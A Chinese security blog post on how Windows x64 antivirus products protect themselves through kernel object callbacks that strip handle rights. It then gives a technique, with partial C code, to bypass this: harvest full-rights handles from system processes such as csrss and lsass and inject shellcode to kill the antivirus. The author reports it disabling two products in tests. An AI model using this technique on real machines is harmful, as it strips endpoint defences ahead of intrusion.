Drunkmars's Blog

windows环境下的自保护探究

字数统计: 3.1k阅读时长: 13 min
2022/04/30

我们要想在32位下实现进程保护很简单,通过SSDT hook重写函数即可实现,但是在64位系统下因为引入了PGDSE的原因,导致SSDT hook实现起来处处受限。但微软同样为了系统安全,增加了一个对象回调函数的接口,利用该回调可以实现对对象请求的过滤保护自身的进程,目前大部分64位下的安全软件保护机制都是基于该方法,我们深入进行探究

驱动保护

其实在最开始研究的时候我的思路是通过研究游戏这一块的保护来进行延申,说到游戏保护这块做得比较好的就是鹅厂的tp了

在经过搜索引擎的洗礼之后,我发现tp是通过hypervisor 进行驱动保护,但是这里细节十分复杂,对我这种小白十分不友好,简略来说就是接管内核里面常见的读写API来阻止读写

在研究的过程中,我又发现了另外一种驱动保护的方法:剥离句柄回调

我们在前面提到过微软为了安全性的考虑在64位下面不允许我们去动内核里面的代码了,而是通过回调函数的机制来进行操作,比如说要实现进程的监控就注册PsSetCreateProcessNotifyRoutineEx的回调,如果想要实现模块的监控就注册PsSetLoadImageNotifyRoutine的回调

那么如果想要进行调试,必须用到的一个API就是OpenProcess,最终在内核调用的函数就是NtOpenProcess,而NtOpenProcess会触发ObRegisterCallbacks这个回调函数。那么只要能够捕获ObRegisterCallbacks发送的这些回调信息,将一些敏感的剥离,就能够达到防止进程读写的效果

那么我们去msdn里面找一下ObRegisterCallbacks这个函数

1
2
3
4
NTSTATUS ObRegisterCallbacks (
_In_ POB_CALLBACK_REGISTRATION CallBackRegistration,
_Out_ PVOID *RegistrationHandle
);

image-20220430161205580

第一个参数 CallBackRegistration 是个指向 OB_CALLBACK_REGISTRATION 类型的结构体的指针。当 ObRegisterCallbacks 例程注册 ObjectPreCallback ObjectPostCallback 回调例程时这个结构体指定回调例程和其他注册信息的的列表,结构如下

1
2
3
4
5
6
7
typedef struct _OB_CALLBACK_REGISTRATION {
USHORT Version;
USHORT OperationRegistrationCount;
UNICODE_STRING Altitude;
PVOID RegistrationContext;
OB_OPERATION_REGISTRATION *OperationRegistration;
} OB_CALLBACK_REGISTRATION, *POB_CALLBACK_REGISTRATION;

第五个成员 OperationRegistration 比较关键,这是个指向 OB_OPERATION_REGISTRATION 类型结构体数组的指针。每个 OB_OPERATION_REGISTRATION 结构体指定 ObjectPreCallback ObjectPostCallback 回调例程以及那些例程被调用的操作类型,结构如下

1
2
3
4
5
6
typedef struct _OB_OPERATION_REGISTRATION {
POBJECT_TYPE *ObjectType;
OB_OPERATION Operations;
POB_PRE_OPERATION_CALLBACK PreOperation;
POB_POST_OPERATION_CALLBACK PostOperation;
} OB_OPERATION_REGISTRATION, *POB_OPERATION_REGISTRATION;

在这里需要注意的是第三个成员 PreOperation。这是个指向 ObjectPreCallback 例程的指针,系统会在请求的操作发生之前调用这个例程,通过这个 ObjectPreCallback 例程来达到我们的目的

1
2
3
4
OB_PREOP_CALLBACK_STATUS ObjectPreCallback (
_In_ PVOID RegistrationContext,
_In_ POB_PRE_OPERATION_INFORMATION OperationInformation
);

这里延伸一下,如果想要使用ObRegisterCallbacks,windows会首先通过MmVerifyCallbackFunction这个函数去实现强制完整性检查

强制完整性检查是一种确保正在加载的二进制文件在加载前需要使用签名的策略,IMAGE_DLLCHARACTERISTICS_FORCE_INTEGRITY标志在链接时通过使用/integritycheck链接器标志在PE头中进行设置,让正在加载的二进制文件必须签名,这个标志使windows内存管理器在加载时对二进制文件进行签名检查

那么微软就是通过加载二进制文件时是否存在标志来确认驱动的发布者身份是否为已知状态,这就是强制完整性检查

我在IDA里面逆了一下MmVerifyCallbackFunction这个函数,发现其逻辑就是通过比较[rax+68h]是否包含了0x20来判断是否拥有正确的数字签名

image-20220430162029355

这里的rax表示DriverSection,而DriverSection指向的是_LDR_DATA_TABLE_ENTRY结构,那么[rax + 0x68]指向的就是ProcessStaticImport

image-20220429161209373

那么如果我们要使用ObRegisterCallbacks这个函数就需要拥有数字签名,这里我们就可以将DriverObject->DriverSection->Flags的值与0x20按位或即可

在64位系统里面一些杀软的自保护都是通过设置OBOperationRegistration这个回调函数实现,关键代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
VOID InstallCallBacks()
{
NTSTATUS NtHandleCallback = STATUS_UNSUCCESSFUL;
NTSTATUS NtThreadCallback = STATUS_UNSUCCESSFUL;
OB_OPERATION_REGISTRATION OBOperationRegistration[2];
OB_CALLBACK_REGISTRATION OBOCallbackRegistration;
REG_CONTEXT regContext;
UNICODE_STRING usAltitude;
memset(&OBOperationRegistration, 0, sizeof(OB_OPERATION_REGISTRATION));
memset(&OBOCallbackRegistration, 0, sizeof(OB_CALLBACK_REGISTRATION));
memset(&regContext, 0, sizeof(REG_CONTEXT));
regContext.ulIndex = 1;
regContext.Version = 120;
RtlInitUnicodeString(&usAltitude, L"1000");
if ((USHORT)ObGetFilterVersion() == OB_FLT_REGISTRATION_VERSION)
{


OBOperationRegistration[1].ObjectType = PsProcessType;
OBOperationRegistration[1].Operations = OB_OPERATION_HANDLE_CREATE | OB_OPERATION_HANDLE_DUPLICATE;
OBOperationRegistration[1].PreOperation = ProcessHandleCallbacks;
OBOperationRegistration[1].PostOperation = HandleAfterCreat;
OBOperationRegistration[0].ObjectType = PsThreadType;
OBOperationRegistration[0].Operations = OB_OPERATION_HANDLE_CREATE | OB_OPERATION_HANDLE_DUPLICATE;
OBOperationRegistration[0].PreOperation = ThreadHandleCallbacks;
OBOperationRegistration[0].PostOperation = HandleAfterCreat;
OBOCallbackRegistration.Version = OB_FLT_REGISTRATION_VERSION;
OBOCallbackRegistration.OperationRegistrationCount = 2;
OBOCallbackRegistration.RegistrationContext = &regContext;
OBOCallbackRegistration.OperationRegistration = OBOperationRegistration;
NtHandleCallback = ObRegisterCallbacks(&OBOCallbackRegistration, &g_CallbacksHandle); // Register The CallBack
if (!NT_SUCCESS(NtHandleCallback))
{
if (g_CallbacksHandle)
{
ObUnRegisterCallbacks(g_CallbacksHandle);
g_CallbacksHandle = NULL;
}
DebugPrint("[DebugMessage] Failed to install ObRegisterCallbacks: 0x%08X.\n", NtHandleCallback);
}
else
DebugPrint("[DebugMessage] Success: ObRegisterCallbacks Was Be Install\n");
}
PsSetCreateProcessNotifyRoutine(CreateProcessNotify, FALSE);
}

回调函数如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
OB_PREOP_CALLBACK_STATUS ProcessHandleCallbacks(PVOID RegistrationContext, POB_PRE_OPERATION_INFORMATION OperationInformation)
{
UNREFERENCED_PARAMETER(RegistrationContext);
if (g_MyPorcess == -1)
return OB_PREOP_SUCCESS;
if (OperationInformation->KernelHandle)
return OB_PREOP_SUCCESS;
PEPROCESS ProtectedProcessPEPROCESS;
PEPROCESS ProtectedUserModeACPEPROCESS;
PEPROCESS OpenedProcess = (PEPROCESS)OperationInformation->Object, CurrentProcess = PsGetCurrentProcess();
ULONG ulProcessId = (ULONG)PsGetProcessId(OpenedProcess);
ULONG myProcessId = (ULONG)PsGetProcessId(CurrentProcess);

if (ulProcessId == g_MyPorcess) //如果进程我们的进程
{
if (OperationInformation->Operation == OB_OPERATION_HANDLE_CREATE) // 句柄降权
{
if ((OperationInformation->Parameters->CreateHandleInformation.OriginalDesiredAccess & PROCESS_TERMINATE) == PROCESS_TERMINATE)
{
//移除杀死进程的权限
OperationInformation->Parameters->CreateHandleInformation.DesiredAccess &= ~PROCESS_TERMINATE;
}
if ((OperationInformation->Parameters->CreateHandleInformation.OriginalDesiredAccess & PROCESS_VM_OPERATION) == PROCESS_VM_OPERATION)
{
OperationInformation->Parameters->CreateHandleInformation.DesiredAccess &= ~PROCESS_VM_OPERATION;
}
if ((OperationInformation->Parameters->CreateHandleInformation.OriginalDesiredAccess & PROCESS_VM_READ) == PROCESS_VM_READ)
{
OperationInformation->Parameters->CreateHandleInformation.DesiredAccess &= ~PROCESS_VM_READ;
}
if ((OperationInformation->Parameters->CreateHandleInformation.OriginalDesiredAccess & PROCESS_VM_WRITE) == PROCESS_VM_WRITE)
{
OperationInformation->Parameters->CreateHandleInformation.DesiredAccess &= ~PROCESS_VM_WRITE;
}

}
}

return OB_PREOP_SUCCESS;

仔细阅读源码后发现,如果我们尝试使用OpenProcess打开杀软进程,杀软就会触发OperationRegistration这个回调对句柄进行降权操作,把拥有R/W/OP权限的句柄都进行了剥离,那么如果我们想要使用TerminateProcessWriteProcessMemoryReadProcessMemory这些需要用到句柄的函数kill掉杀软权限是不够的,那么这样就是实现了自保护

深入探究

通过OBOperationRegistration将句柄降权基本上把要使用句柄进程读写的函数限制得很死了,但是某些系统的进程(如svchost.exelsass.execsrss.exe等)却可能拥有高权限的句柄

例如这里定位到火绒的模块,搜索关键字符串Hips,可以看到在csrss.exeservices.exelsass.exesvchost.exe都存在火绒的句柄

image-20220430191621849

我们去看lsass.exe进程里面的句柄,这里是有完整的权限的

image-20220430220329676

这里的话我们就可以衍生出一种思路,我们通过遍历所有的句柄,然后进行判断这个句柄是否被降权,如果没有被降权,那么我们就可以使用这个句柄去kill掉杀软

那么这里我们该如何获得所有的句柄呢?我们知道windows为了安全,在3环是不能够直接去操作内核内存的,而是通过给3环一个句柄,然后再返回给0环,那么0环在拿到句柄之后,会去内核空间里面找句柄表,通过返回的句柄编号去对应句柄表,然后再通过句柄表里面存放的真实地址来对内核空间进行操作,windows这样设计是为了防止直接修改内核代码导致操作系统蓝屏,我们又该如何获得句柄表的所有地址呢?

这里就需要用到一个API:ZwQuerySystemInformation

1
2
3
4
5
6
NTSTATUS WINAPI ZwQuerySystemInformation(
__in SYSTEM_INFORMATION_CLASSSystemInformationClass,
__in_out PVOIDSystemInformation,
__in ULONGSystemInformationLength,
__out_opt PULONGReturnLength
);

这个函数在用户模式下和内核模式下都可以使用,在内核里面可以直接使用,在用户层则需要通过ntdll.dll寻址。因为这个API是未文档化的函数,所以这里我们就需要通过自己去分析结构,这里第一个参数指向_SYSTEM_INFORMATION_CLASS结构,这里我们要获取句柄表,就需要用到16号即SystemHandleInformation

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
typedef enum _SYSTEM_INFORMATION_CLASS     //    Q S
{
SystemBasicInformation, // 00 Y N
SystemProcessorInformation, // 01 Y N
SystemPerformanceInformation, // 02 Y N
SystemTimeOfDayInformation, // 03 Y N
SystemNotImplemented1, // 04 Y N
SystemProcessesAndThreadsInformation, // 05 Y N
SystemCallCounts, // 06 Y N
SystemConfigurationInformation, // 07 Y N
SystemProcessorTimes, // 08 Y N
SystemGlobalFlag, // 09 Y Y
SystemNotImplemented2, // 10 Y N
SystemModuleInformation, // 11 Y N
SystemLockInformation, // 12 Y N
SystemNotImplemented3, // 13 Y N
SystemNotImplemented4, // 14 Y N
SystemNotImplemented5, // 15 Y N
SystemHandleInformation, // 16 Y N
SystemObjectInformation, // 17 Y N
SystemPagefileInformation, // 18 Y N
SystemInstructionEmulationCounts, // 19 Y N
SystemInvalidInfoClass1, // 20
SystemCacheInformation, // 21 Y Y
SystemPoolTagInformation, // 22 Y N
SystemProcessorStatistics, // 23 Y N
SystemDpcInformation, // 24 Y Y
SystemNotImplemented6, // 25 Y N
SystemLoadImage, // 26 N Y
SystemUnloadImage, // 27 N Y
SystemTimeAdjustment, // 28 Y Y
SystemNotImplemented7, // 29 Y N
SystemNotImplemented8, // 30 Y N
SystemNotImplemented9, // 31 Y N
SystemCrashDumpInformation, // 32 Y N
SystemExceptionInformation, // 33 Y N
SystemCrashDumpStateInformation, // 34 Y Y/N
SystemKernelDebuggerInformation, // 35 Y N
SystemContextSwitchInformation, // 36 Y N
SystemRegistryQuotaInformation, // 37 Y Y
SystemLoadAndCallImage, // 38 N Y
SystemPrioritySeparation, // 39 N Y
SystemNotImplemented10, // 40 Y N
SystemNotImplemented11, // 41 Y N
SystemInvalidInfoClass2, // 42
SystemInvalidInfoClass3, // 43
SystemTimeZoneInformation, // 44 Y N
SystemLookasideInformation, // 45 Y N
SystemSetTimeSlipEvent, // 46 N Y
SystemCreateSession, // 47 N Y
SystemDeleteSession, // 48 N Y
SystemInvalidInfoClass4, // 49
SystemRangeStartInformation, // 50 Y N
SystemVerifierInformation, // 51 Y Y
SystemAddVerifier, // 52 N Y
SystemSessionProcessesInformation // 53 Y N
} SYSTEM_INFORMATION_CLASS;

每一个enum元素对应着查询信息,而 SystemHandleInformation(0x10)查询的是 SYSTEM_HANDLE_INFORMATIO结构体指针的信息,我们看一下结构

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
typedef struct _SYSTEM_HANDLE_INFORMATION
{
ULONG ProcessId; //进程ID
UCHAR ObjectTypeNumber; //打开的对象的类型
UCHAR Flags; //句柄属性标志
USHORT Handle; //句柄
PVOID Object; //句柄对象
ACCESS_MASK GrantedAccess;
} SYSTEM_HANDLE, *PSYSTEM_HANDLE;

typedef struct _SYSTEM_HANDLE_INFORMATION
{
ULONG NumberOfHandles; //数组数量
SYSTEM_HANDLE Information[1]; //数组指针
}SYSTEM_HANDLE_INFORMATIO, *PSYSTEM_HANDLE_INFORMATION;

那么这里我们拿到所有的句柄之后要进行判断,是不是我们需要用到的句柄,这里又需要用到NtQueryObject 这个API,也在ntdll.dll里面寻址

1
2
3
4
5
6
7
__kernel_entry NTSYSCALLAPI NTSTATUS NtQueryObject(
[in, optional] HANDLE Handle,
[in] OBJECT_INFORMATION_CLASS ObjectInformationClass,
[out, optional] PVOID ObjectInformation,
[in] ULONG ObjectInformationLength,
[out, optional] PULONG ReturnLength
);

NtQueryObject 函数用来查询对象句柄信息,当 OBJECT_INFORMATION_CLASS参数为ObjectNameInformation(1)ObjectTypeInformation(2)时分别查询句柄的名称和句柄类型 它们的定义和查询的结构体如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
typedef enum _OBJECT_INFORMATION_CLASS {
ObjectBasicInformation,
ObjectNameInformation,
ObjectTypeInformation,
ObjectAllInformation,
ObjectDataInformation
} OBJECT_INFORMATION_CLASS, *POBJECT_INFORMATION_CLASS;
//注释
//ObjectBasicInformation 对应结构为:OBJECT_BASIC_INFORMATION
//ObjectNameInformation 对应结构为:OBJECT_NAME_INFORMATION
//ObjectTypeInformation 对应结构为:OBJECT_TYPE_INFORMATION
//ObjectAllInformation 对应结构为: OBJECT_ALL_INFORMATION
//ObjectDataInformation对应结构为: OBJECT_DATA_INFORMATION

typedef struct
{
USHORT Length; //当前名称长度
USHORT MaxLen; //缓冲区最大长度
USHORT *Buffer; //Unicode 名称指针
}UNICODE_STRING, *PUNICODE_STRING;

typedef struct _OBJECT_NAME_INFORMATION {
UNICODE_STRING Name;
WCHAR NameBuffer[0];
} OBJECT_NAME_INFORMATION, *POBJECT_NAME_INFORMATION;

typedef struct _OBJECT_TYPE_INFORMATION {
UNICODE_STRING TypeName;
ULONG TotalNumberOfHandles;
ULONG TotalNumberOfObjects;
WCHAR Unused1[8];
ULONG HighWaterNumberOfHandles;
ULONG HighWaterNumberOfObjects;
WCHAR Unused2[8];
ACCESS_MASK InvalidAttributes;
GENERIC_MAPPING GenericMapping;
ACCESS_MASK ValidAttributes;
BOOLEAN SecurityRequired;
BOOLEAN MaintainHandleCount;
USHORT MaintainTypeList;
POOL_TYPE PoolType;
ULONG DefaultPagedPoolCharge;
ULONG DefaultNonPagedPoolCharge;
} OBJECT_TYPE_INFORMATION, *POBJECT_TYPE_INFORMATION;

那么我们首先对这几个未文档化的API进行初始化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
BOOL InitUnDocumentProc()
{
HMODULE hNtdll = GetModuleHandle("Ntdll.dll");
if( hNtdll == NULL )
return FALSE;

ZwQuerySystemInformation =
(pfnNtQuerySystemInformation)GetProcAddress(hNtdll, "NtQuerySystemInformation");
ZwQueryObject =
(pfnNtQueryObject)GetProcAddress(hNtdll, "NtQueryObject");
ZwQueryInformationProcess =
(pfnNtQueryInformationProcess)GetProcAddress(hNtdll, "NtQueryInformationProcess");

if( (ZwQuerySystemInformation == NULL) ||
(ZwQueryObject == NULL) || \
(ZwQueryInformationProcess == NULL) )
return FALSE;
return TRUE;
}

然后就可以编写函数进行查询

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
PSYSTEM_HANDLE_INFORMATION_EX GetSystemProcessHandleInfo()
{
DWORD buffLen = 0x1000;
NTSTATUS status;
BYTE* buff = new BYTE[buffLen];
do{
status = ZwQuerySystemInformation(SystemHandleInformation, buff, buffLen, &buffLen);
if( status == STATUS_INFO_LENGTH_MISMATCH )
{
delete[] buff;
buff = new BYTE[buffLen];
} else
break;

} while( TRUE );
return (PSYSTEM_HANDLE_INFORMATION_EX)buff;
}

然后通过查询到的信息定位到EPROCESS结构

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
DWORD64 GetTarEPROCESS() 
{
HANDLE TarHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, g_ProcessID);
PSYSTEM_HANDLE_INFORMATION_EX HandleInfo = GetSystemProcessHandleInfo();
DWORD64 EPROCESS;
for (int i = 0; i < HandleInfo->NumberOfHandles; i++)
{
if (HandleInfo->Information[i].Handle == (USHORT)TarHandle && HandleInfo->Information[i].ProcessId == GetCurrentProcessId())
{
EPROCESS = (DWORD64)HandleInfo->Information[i].Object;
break;
}
}
free(HandleInfo);
CloseHandle(TarHandle);
return EPROCESS;

我们再进行循环遍历,这里句柄类型为7的时候对应的是PROCESS类句柄

image-20220430202904077

1
2
3
4
PSYSTEM_HANDLE_INFORMATION_EX HandleInfo = GetSystemProcessHandleInfo();
for (int i = 0; i < HandleInfo->NumberOfHandles; i++)
{
if (HandleInfo->Information[i].ObjectTypeNumber == 7)

然后进行权限、类别的判断和过滤

1
2
3
4
5
6
7
8
9
10
11
if((DWORD64)HandleInfo->Information[i].Object != EPROCESS)
continue;
//排除掉目标进程的PID
if (HandleInfo->Information[i].ProcessId == g_ProcessID)
continue;
if ((HandleInfo->Information[i].GrantedAccess & PROCESS_VM_READ) != PROCESS_VM_READ)
continue;
if ((HandleInfo->Information[i].GrantedAccess & PROCESS_VM_OPERATION) != PROCESS_VM_OPERATION)
continue;
if ((HandleInfo->Information[i].GrantedAccess & PROCESS_QUERY_INFORMATION) != PROCESS_QUERY_INFORMATION)
continue;

如果一系列判断都满足那么我们就通过OpenProcess打开进程拿到一个拥有所有权限的句柄

1
2
3
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, HandleInfo->Information[i].ProcessId);
if (!hProcess || hProcess == INVALID_HANDLE_VALUE)
continue;

这里我们相当于找到了一个有权限的句柄和对应进程的PID,那么我们就可以进行关闭杀软的操作,这里我们就使用OpenProcess获取一个新的句柄,通过注入shellcode的方式来kill进程,使用CreateRemoteThread进行常规的远程线程注入即可

测试

这里我选择了3款国产杀软进行测试

image-20220430210553907

首先是某60安全卫士

image-20220430212548315

扫描一下是没有报毒的

image-20220430212654427

image-20220430212714600

这里执行发现报错WriteProcessMemory failed : 5,那么证明这里某60不允许句柄有写入权限

image-20220430213231718

我们再有请下一位受害者某绒

image-20220430210632653

这里扫一下同样是没有报毒

image-20220430212225494

image-20220430212300670

然后执行程序关闭某绒成功,这里有几个句柄CreateRemoteThread失败是因为申请的空间不够

image-20220430211716189

最后一位受害者是某电脑管家

image-20220430211454427

同样扫描一下没有报毒

image-20220430212100137

image-20220430212119251

然后这里执行程序成功kill

image-20220430211656139

可以看到可利用的句柄是位于csrss.exe里面

image-20220430211840714

CATALOG
  1. 1. 驱动保护
  2. 2. 深入探究
  3. 3. 测试